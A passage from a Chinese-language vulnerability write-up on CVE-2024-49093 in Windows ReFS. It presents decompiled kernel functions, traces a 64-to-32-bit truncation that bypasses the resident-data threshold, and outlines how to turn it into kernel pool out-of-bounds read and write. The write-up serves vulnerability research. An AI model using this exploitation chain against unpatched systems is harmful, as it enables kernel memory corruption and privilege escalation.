v9 = a2;
}
}
}
else
{
v10 = 0xC000000D;
}
}
else
{
LABEL_14:
v10 = 0xC00000BB;
}
CmsTableCursorBase::CleanCursorAfterEnumerate(&CmsTableCursor, a1);
CmsVolume::AbsorbOrAbortTopLevelAction(
a1[1],
(struct CmsTransactionContext *)a1,
(struct _SmsTopLevelAction *)&v27,
v10);
*(_QWORD *)key.ptr = 0LL;
CmsMatchAllCursor::~CmsMatchAllCursor((CmsMatchAllCursor *)&CmsTableCursor);
return (unsigned int)v10;
}
真正的数据写入位于CmsBPlusTable::UpdateInIndex,但在此之前会做一个边界检查:if ( *v6 + v13 > (unsigned __int64)(unsigned int)v23.row.key.ptr->RecordSizeBytes ),可以将其写为:
if(BytesToWrite + offset + scb->AttributeHdrLength > v23.row.key.ptr->RecordSizeBytes)
v23.row.key.ptr->RecordSizeBytes来自当前常驻记录的“记录总大小”字段。
RecordSizeBytes就是当前 resident 记录的总大小(约 =0x3C + DataLen,再综合 8 字节对齐)。这行检查的含义为:WriteFile的范围是否落在这条 resident 记录的边界内?
正常情况下,比如在第一次写0x200后,内核会在第二次更大写入前对 resident 记录做预扩容(本质上是把记录重写一份更大的 COW 版本)。比如第二次要写的0x400,则新的RecordSizeBytes = 0x3C + 0x400 = 0x43C,因此检查能够通过。
但是在利用漏洞的情况下,我们绕过了常驻阈值并错误更新了AllocationSize,没有触发 resident 记录的预扩容,于是RecordSizeBytes仍然是 0x23C(= 0x3C + 0x200)。此时第二次写0x400,因此0x400 + 0 + 0x3C > 0x23C分支成立,因此检查未通过,WriteFile会报错The request is not supported.所以我们无法直接用WriteFile进行越界写。
我们现在重新回顾RefsAddAllocationForResidentWrite漏洞所造成的效果:通过64位截断绕过了常驻阈值的检查,然后用32位值去更新scb的AllocationSize;经过调试发现即使WriteFile返回了错误,AllocationSize也没有被回滚。
同时注意到当写入超过常驻阈值时,ReFS 会调用RefsConvertToNonResident把数据流从 resident 切换到 non-resident:
void __fastcall RefsConvertToNonResident(struct _IRP_CONTEXT *a1, struct _SCB *scb)
{
PVOID Fcb; // r14
unsigned int v5; // r8d
PVOID new_data; // r15
char v7; // r12
__int16 AttributeTypeCode; // ax
int ScbState; // eax
bool v10; // zf
char v11; // al
int v12; // eax
char v13; // al
struct CmsRowWithBuffer *v14; // r9
unsigned int AttributeLength; // ebx
unsigned int *UntypedAttribute; // r13
__int64 v17; // rcx
DWORD original_size; // r13d
__int64 v19; // rbx
struct _ROLLBACK_STRUCT *v20; // rax
__int64 v21; // rdx
unsigned int v22; // edx
bool v23; // r8
CmsBPlusTable **Entry; // rax
struct CmsTransactionContext *v25; // r10
__int64 v26; // rdx
__int64 v27; // r11
NTSTATUS v28; // eax
unsigned int v29; // r8d
__int64 v30; // r9
struct _SCB *v31; // rax
struct _MS_FAST_RESOURCE_OWNER_ENTRY *IrpContextPagingIoOwnerEntryRelease; // rax
unsigned int v33; // r8d
__int64 v34; // r9
struct _MS_FAST_RESOURCE_OWNER_ENTRY *v35; // rbx
char v36; // [rsp+41h] [rbp-277h]
unsigned int *v37; // [rsp+48h] [rbp-270h] BYREF
NTSTATUS Status; // [rsp+50h] [rbp-268h]
unsigned int allocate_size; // [rsp+54h] [rbp-264h]
void *original_data; // [rsp+58h] [rbp-260h]
struct _VCB *v41; // [rsp+60h] [rbp-258h]
PVOID v42; // [rsp+68h] [rbp-250h]
struct _SCB *v43; // [rsp+70h] [rbp-248h]
PVOID v44; // [rsp+78h] [rbp-240h]
struct _IRP_CONTEXT *v45; // [rsp+80h] [rbp-238h]
const struct _CmsRow *AttributeManager[15]; // [rsp+88h] [rbp-230h] BYREF
__int16 v47; // [rsp+100h] [rbp-1B8h]
__int64 v48; // [rsp+280h] [rbp-38h]
v45 = a1;
v43 = scb;
Fcb = scb->Fcb;
v44 = Fcb;
v41 = (struct _VCB *)*((_QWORD *)Fcb + 10);
v48 = 0LL;
v47 = 0;
RefsAttributeManager::Initialize((RefsAttributeManager *)AttributeManager);
new_data = 0LL;
v42 = 0LL;
v7 = 0;
v36 = 0;
AttributeTypeCode = scb->AttributeTypeCode;
if ( AttributeTypeCode != 128 && AttributeTypeCode != 176 )
{
if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control
&& (HIDWORD(WPP_GLOBAL_Control->Timer) & 0x100) != 0
&& BYTE1(WPP_GLOBAL_Control->Timer) >= 4u )
{
WPP_SF_D(WPP_GLOBAL_Control->AttachedDevice, 37LL, &WPP_64251121164937b7b50a824cb5e5b8f0_Traceguids, 3221225488LL);
}
if ( (_BYTE)RefsStatusDebugEnabled )
RefsStatusDebug(-1073741808, a1, "ProtogonAttributes.c", 0xC37u);
RefsRaiseStatusInternal(a1, -1073741808, v5);
__debugbreak();
}
if ( (*((_BYTE *)a1 + 8) & 1) == 0 )
{
if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control
&& (HIDWORD(WPP_GLOBAL_Control->Timer) & 0x100) != 0
&& BYTE1(WPP_GLOBAL_Control->Timer) >= 4u )
{
WPP_SF_D(WPP_GLOBAL_Control->AttachedDevice, 38LL, &WPP_64251121164937b7b50a824cb5e5b8f0_Traceguids, 3221225688LL);
}
if ( (_BYTE)RefsStatusDebugEnabled )
RefsStatusDebug(-1073741608, a1, "ProtogonAttributes.c", 0xC3Fu);
RefsRaiseStatusInternal(a1, -1073741608, v5);
goto LABEL_53;
}
ScbState = scb->ScbState;
if ( (ScbState & 8) == 0 || (v10 = (ScbState & 0x40) == 0, v11 = 1, !v10) )
v11 = 0;
if ( v11 )
{
if ( (unsigned __int8)ExIsFastResourceHeld(*((_QWORD *)Fcb + 12)) )
{
if ( !(unsigned __int8)ExIsFastResourceHeldExclusive(*((_QWORD *)scb->Fcb + 12)) )
{
v31 = scb;
if ( scb->NodeTypeCode != 0x802 )
v31 = (struct _SCB *)scb->Fcb;
IrpContextPagingIoOwnerEntryRelease = RefsGetIrpContextPagingIoOwnerEntryRelease(
a1,
(struct _MS_FAST_RESOURCE *)v31->FastResource);
v35 = IrpContextPagingIoOwnerEntryRelease;
if ( !IrpContextPagingIoOwnerEntryRelease
|| !(unsigned __int8)ExTryToConvertFastResourceSharedToExclusive(v34, IrpContextPagingIoOwnerEntryRelease) )
{
LABEL_60:
*((_QWORD *)a1 + 1) |= 0x100uLL;
if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control
&& (HIDWORD(WPP_GLOBAL_Control->Timer) & 0x100) != 0
&& BYTE1(WPP_GLOBAL_Control->Timer) >= 4u )
{
WPP_SF_D(
WPP_GLOBAL_Control->AttachedDevice,
39LL,
&WPP_64251121164937b7b50a824cb5e5b8f0_Traceguids,
0xC00000D8LL);
}
if ( (_BYTE)RefsStatusDebugEnabled )
RefsStatusDebug(-1073741608, a1, "ProtogonAttributes.c", 0xC62u);
RefsRaiseStatusInternal(a1, -1073741608, v33);
__debugbreak();
JUMPOUT(0x1C00FCF81LL);
}
--*((_DWORD *)v35 + 18);
*((_DWORD *)v35 + 19) &= ~2u;
v7 = 1;
}
}
else
{
RefsAcquireExclusivePagingIo(a1, (struct _FCB *)Fcb, 1u);
v36 = 1;
}
RefsAcquireExclusiveScb((__int64)a1, (__int64)scb, 0LL);
v12 = scb->ScbState;
if ( (v12 & 8) == 0 || (v10 = (v12 & 0x40) == 0, v13 = 1, !v10) )
v13 = 0;
if ( !v13 )
goto LABEL_32;
RefsBindMinstoreTransaction(a1);
RefsAttributeManager::LookupAttributeForScb(
(RefsAttributeManager *)AttributeManager,
(struct CmsTransactionContext **)a1,
scb);
RefsAttributeManager::CopyFullAttribute(AttributeManager, a1, (struct _FCB *)Fcb, v14);
AttributeLength = RefsAttributeManager::GetAttributeLength((RefsAttributeManager *)AttributeManager);
UntypedAttribute = (unsigned int *)RefsAttributeManager::GetUntypedAttribute(
(RefsAttributeManager *)AttributeManager,
AttributeLength);
RefsAttributeManager::DeleteAttribute(
(__int64)AttributeManager,
(struct CmsTransactionContext **)a1,
(__int64)Fcb,
0);
v37 = UntypedAttribute;
v17 = *UntypedAttribute;
original_data = (char *)UntypedAttribute + v17;
original_size = scb->FileSizes.FileSize.LowPart;
allocate_size = -(1 << *((_DWORD *)v41 + 138)) & (AttributeLength - v17 + (1 << *((_DWORD *)v41 + 138)) - 1);
v19 = allocate_size;
if ( original_size != allocate_size )
{
new_data = ExAllocatePoolWithTag((POOL_TYPE)0x210, allocate_size, 'AorP');
v42 = new_data;
memset(new_data, 0, allocate_size);
memmove(new_data, original_data, original_size);
original_data = new_data;
}
if ( scb->AttributeTypeCode == 128 )
{
v20 = RefsAddStructToRollbackList(a1, 0x823u, Fcb, 1);
v21 = ~(*((_QWORD *)v20 + 5) & 0x80000000LL) & 0x80000000LL;
*((_QWORD *)v20 + 5) |= v21;
*((_QWORD *)v20 + 4) |= *((_QWORD *)Fcb + 1) & v21;
*((_DWORD *)v20 + 1) |= 1u;
scb->ScbState &= ~8u;
*((_QWORD *)Fcb + 1) &= ~0x80000000uLL;
}
scb->SecureState = 6;
scb->FileSizes.AllocationSize.QuadPart = 0LL;
if ( scb->NodeTypeCode == 0x805 )
scb->ValidDataHighWatermark = 0LL;
RefsAllocateNonResidentDataAttribute(a1, (__int64)scb, scb->AttributeFlags, v19);
if ( (v37[1] & 1) == 0
|| (v37 = 0LL,
Entry = (CmsBPlusTable **)CmsTableSetBase::GetEntry(
*((CmsTableSetBase **)scb->BPlusTable + 2),
*((_QWORD *)scb->BPlusTable + 3),
v23),
CmsBPlusTable::GetIntegrityInformation(*Entry, v25, (struct _MINSTORE_INTEGRITY_INFORMATION_BUFFER *)&v37),
HIDWORD(v37) |= 1u,
v28 = MsSetStreamIntegrityInformation(v27, v26, &v37, 0LL),
v30 = (unsigned int)v28,
Status = v28,
v28 >= 0) )
{
if ( original_size )
{
RefsWriteFileSizes(a1, scb, 0LL, 2u);
RefsWriteBytes(a1, v41, scb, 0LL, (char *)original_data, allocate_size);
scb->ScbState &= ~4u;
}
RefsCheckpointCurrentTransaction((struct _LIST_ENTRY *)a1, v22);
LABEL_32:
if ( new_data )
ExFreePoolWithTag(new_data, 0);
RefsAttributeManager::Cleanup((RefsAttributeManager *)AttributeManager, a1);
RefsReleaseFcb(a1, (struct _FCB *)scb->Fcb);
if ( v36 )
{
RefsReleasePagingResource(a1, Fcb);
*((_QWORD *)a1 + 7) = 0LL;
}
if ( v7 )
RefsConvertPagingResourceExclusiveToShared(a1, Fcb);
return;
}
LABEL_53:
if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control
&& (HIDWORD(WPP_GLOBAL_Control->Timer) & 0x100) != 0
&& BYTE1(WPP_GLOBAL_Control->Timer) >= 4u )
{
WPP_SF_D(WPP_GLOBAL_Control->AttachedDevice, 40LL, &WPP_64251121164937b7b50a824cb5e5b8f0_Traceguids, v30);
}
if ( (_BYTE)RefsStatusDebugEnabled )
RefsStatusDebug(Status, a1, "ProtogonAttributes.c", 0xCF4u);
RefsRaiseStatusInternal(a1, Status, v29);
goto LABEL_60;
}
}
这个函数做的事情很直接:超过常驻阈值后,将常驻属性转换为非常驻。过程中它会按卷的扇区大小重新计算/对齐一个目标大小,为非常驻数据区开辟新内存,然后把原本常驻里的有效数据拷贝到这块新空间里,最后将文件数据流切换为非常驻表示。
基于此,可以尝试以下的利用链:
AllocationSize篡改为0RefsConvertToNonResident。RefsConvertToNonResident在为非常驻数据区计算目标长度/对齐时得到0,导致实际在池里只分到很小的块(0x20)。但拷贝逻辑仍然无条件把先前 resident 的有效负载拷贝到这块新空间——于是完成了OOB write。
下面是写入0x700长度的调试结果:
申请0 size的池内存:

向该pool拷贝0x700长度的数据,造成越界写

最终我们可以通过RefsConvertToNonResident非常驻内存转换实现了在0x20的池内存上进行最多0x800-0x10长度的OOB write。
本文简要回顾了 ReFS 的基础(MinStore B+ 与 COW)、resident 与 non-resident 的差异,并通过补丁对比定位并分析了 CVE-2024-49093 的根因:把 64 位写入末端误按 32 位处理,导致常驻阈值绕过与文件尺寸状态不一致。
漏洞利用上:
AllocationSize ≪ FileSize后,RefsNonCachedResidentRead会把 resident 记录复制到池块上再memmove给用户,请求长度超过真实数据就能在内核池上OOB read。MsUpdateMetaRow的边界检查,直接 OOB 写行不通;但通过将AllocationSize截断到0并触发RefsConvertToNonResident,在“常驻→非常驻”的迁移阶段可以在小池块上形成 OOB write。https://www.sciencedirect.com/science/article/pii/S266628172030010X